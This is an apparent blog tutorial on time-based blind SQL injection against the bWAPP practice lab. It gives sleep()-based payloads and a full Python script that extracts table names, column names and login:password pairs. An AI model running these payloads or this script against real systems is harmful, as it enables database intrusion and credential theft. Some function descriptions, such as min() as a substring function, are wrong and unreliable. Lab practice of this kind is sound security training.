SQL注入-bWAPP靶场-时间盲注

时间盲注步骤:

  1. 准备攻击:首先,攻击者需要准备攻击工具,如Burp Suite等。

  2. 构造查询:攻击者将构造出一个查询请求,该请求的结果可以通过询问数据库的响应时间来推断。

  3. 发送请求:攻击者将构造的请求发送到目标数据库,并开始计时。

  4. 分析响应时间:如果请求的结果在数据库中存在,则响应时间通常会比不存在的请求的响应时间长。攻击者可以利用这一点来推断数据库中的数据。

  5. 收集信息:如果攻击者能够成功泄露数据库中的敏感信息,他可以收集并利用这些信息。

  6. 反复攻击:最后,攻击者可以重复上述步骤,不断收集更多的敏感信息。

常用函数: 

sleep(n)               --返回0 命令中断返回1

substr(a,b,c)        --从b为止开始截取字符串a的c长度

count()                --计算总数

ascii()                  --返回字符串的ASCII码

length()               --返回字符串的长度

left(a,b)              --从左截取a的前b位

min(a,b,c)          --从位置b开始,截取a字符串的c位

ord()                  --返回第一个字符ascll值

benchmark(10000000,encode('hello','mom'))

MySQL 的 benchmark 的作用是测试 MySQL 数据库的性能。通过运行 benchmark 测试,可以了解 MySQL 数据库在不同条件下的性能表现,并且可以发现性能瓶颈所在,从而采取措施来优化性能。

运行 benchmark 测试可以帮助你了解 MySQL 数据库的吞吐量、响应时间、并发能力等性能指标。它还可以帮助你确定数据库配置参数的最佳值,并且可以帮助你评估新硬件或软件的性能表现。

运行 benchmark 测试还可以帮助你在更新或升级数据库时做出决策,确保新版本的性能不低于旧版本。它还可以帮助你验证数据库的可扩展性,并且可以帮助你在不同负载条件下评估数据库的稳定性。

目标:

  1. 获取到数据库名称长度
  2. 获取到数据库名称 
  3. 获取表名
  4. 获取字段名
  5. 获取数据(login  password)

目标一:

环境 :

(无回显)

 原始数据库查询SQL

SELECT * FROM `movies` WHERE Title='Iron Man' AND length(database())=5 AND sleep(3);

 靶场SQL:

Man of Steel' and length(database())=5 and sleep(4)#

 

 响应时间为4.02s说明length(database())=5条件成立

目标二:

原始数据库SQL

SELECT * FROM `movies` WHERE Title='Iron Man' AND substr(database(),1,1)='b' AND sleep(3);

靶场SQL:

Man of Steel' and substr(database(),1,1)='b' and sleep(4)#

  响应时间为4.02s说明substr(database(),1,1)='b'条件成立

(这个耗费时间太长,需要用到脚本)

完整脚本(py)

import time

import requests


# 获取数据库长度
def get_name_len():
    headers = {
        "Cookie": "security_level=0; PHPSESSID=5tukonprhupa850gp4db65bj9f"
    }
    for i in range(10):
        url = "http://localhost/bWAPP/bWAPP/sqli_15.php?title=Man of Steel' and length(database())={} and sleep(1)%23&Maction=search"
        url = url.format(i)
        time_strat = time.time()
        data = requests.get(url=url, headers=headers)
        if time.time() - time_strat > 1:
            print('长度是', i)
            return i


# 获取数据库name
def get_sql_name(count):
    headers = {
        "Cookie": "security_level=0; PHPSESSID=5tukonprhupa850gp4db65bj9f"
    }
    for j in range(count + 1):
        for i in range(33, 127):
            url = "http://localhost/bWAPP/bWAPP/sqli_15.php?title=Man of Steel' and ascii(substr(database(),{},1))={} and sleep(1)%23&Maction=search"
            url = url.format(j, i)
            time_strat = time.time()
            data = requests.get(url=url, headers=headers)
            if time.time() - time_strat > 1:
                print('name是', chr(i))
                break
    print('\n')


# 获取数据库中表的个数
def get_table_count():
    headers = {
        "Cookie": "security_level=0; PHPSESSID=5tukonprhupa850gp4db65bj9f"
    }
    for i in range(10):
        url = "http://localhost/bWAPP/bWAPP/sqli_15.php?title=Iron Man' AND\
(SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema=database())={} AND sleep(1)%23&Maction=search"
        url = url.format(i)
        time_strat = time.time()
        data = requests.get(url=url, headers=headers)
        if time.time() - time_strat > 1:
            print('共有表个数:', i)
            return i


# 获取数据库中表的name
def get_table_name(count):
    headers = {
        "Cookie": "security_level=0; PHPSESSID=5tukonprhupa850gp4db65bj9f"
    }
    for j in range(count):
        print('\n' + "第{}个表名是:".format(j + 1))
        for k in range(1, 10):
            for i in range(33, 127):
                url = "http://localhost/bWAPP/bWAPP/sqli_15.php?title=Iron Man' AND \
                ascii(substr((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT {},1),{},1))={} AND sleep(1)%23&Maction=search"
                url = url.format(j, k, i)
                time_strat = time.time()
                data = requests.get(url=url, headers=headers)
                if time.time() - time_strat > 1:
                    print(chr(i), end='')
                    break
    print('\n')


# 获取数据库中表的字段个数
def get_users_count():
    headers = {
        "Cookie": "security_level=0; PHPSESSID=5tukonprhupa850gp4db65bj9f"
    }
    for i in range(16):
        url = "http://localhost/bWAPP/bWAPP/sqli_15.php?title=Iron Man' AND\
    (SELECT COUNT(column_name) FROM information_schema.columns WHERE table_name='users')={} AND sleep(1)%23&Maction=search"
        url = url.format(i)
        time_strat = time.time()
        data = requests.get(url=url, headers=headers)
        if time.time() - time_strat > 1:
            print('users共有字段数:', i)
            return i


# 获取数据库中的字段名
def get_users_name(count):
    headers = {
        "Cookie": "security_level=0; PHPSESSID=5tukonprhupa850gp4db65bj9f"
    }
    for j in range(count):
        print('\n' + "第{}个字段是:".format(j + 1))
        for k in range(1, 20):
            for i in range(33, 127):
                url = "http://localhost/bWAPP/bWAPP/sqli_15.php?title=Iron Man' AND \
                   ascii(substr((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT {},1),{},1))={} AND sleep(1)%23&Maction=search"
                url = url.format(j, k, i)
                time_strat = time.time()
                data = requests.get(url=url, headers=headers)
                if time.time() - time_strat > 1:
                    print(chr(i), end='')
                    break
    print('\n')


# 获取数据库中users和password字段数据数量
def get_users_password_count():
    headers = {
        "Cookie": "security_level=0; PHPSESSID=5tukonprhupa850gp4db65bj9f"
    }
    for i in range(16):
        url = "http://localhost/bWAPP/bWAPP/sqli_15.php?title=Iron Man' AND\
        (SELECT COUNT(login) FROM users)={} AND sleep(1)%23&Maction=search"
        url = url.format(i)
        time_strat = time.time()
        data = requests.get(url=url, headers=headers)
        if time.time() - time_strat > 1:
            print('users和password字段共有数据数:', i)
            return i


# 获取数据库中users和password字段数据
def get_users_password_data(count):
    headers = {
        "Cookie": "security_level=0; PHPSESSID=5tukonprhupa850gp4db65bj9f"
    }
    for j in range(count):
        print('\n' + "第{}个数据是:".format(j + 1))
        for k in range(1, 55):
            for i in range(33, 127):
                url = "http://localhost/bWAPP/bWAPP/sqli_15.php?title=Iron Man' AND \
                      ascii(substr((SELECT concat(login,':',password) FROM users LIMIT {},1),{},1) )={} AND sleep(1)%23&Maction=search"
                url = url.format(j, k, i)
                time_strat = time.time()
                data = requests.get(url=url, headers=headers)
                if time.time() - time_strat > 1:
                    print(chr(i), end='')
                    break
    print('\n')


if __name__ == '__main__':
    get_sql_name(get_name_len())
    get_table_name(get_table_count())
    get_users_name(get_users_count())
    get_users_password_data(get_users_password_count())

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值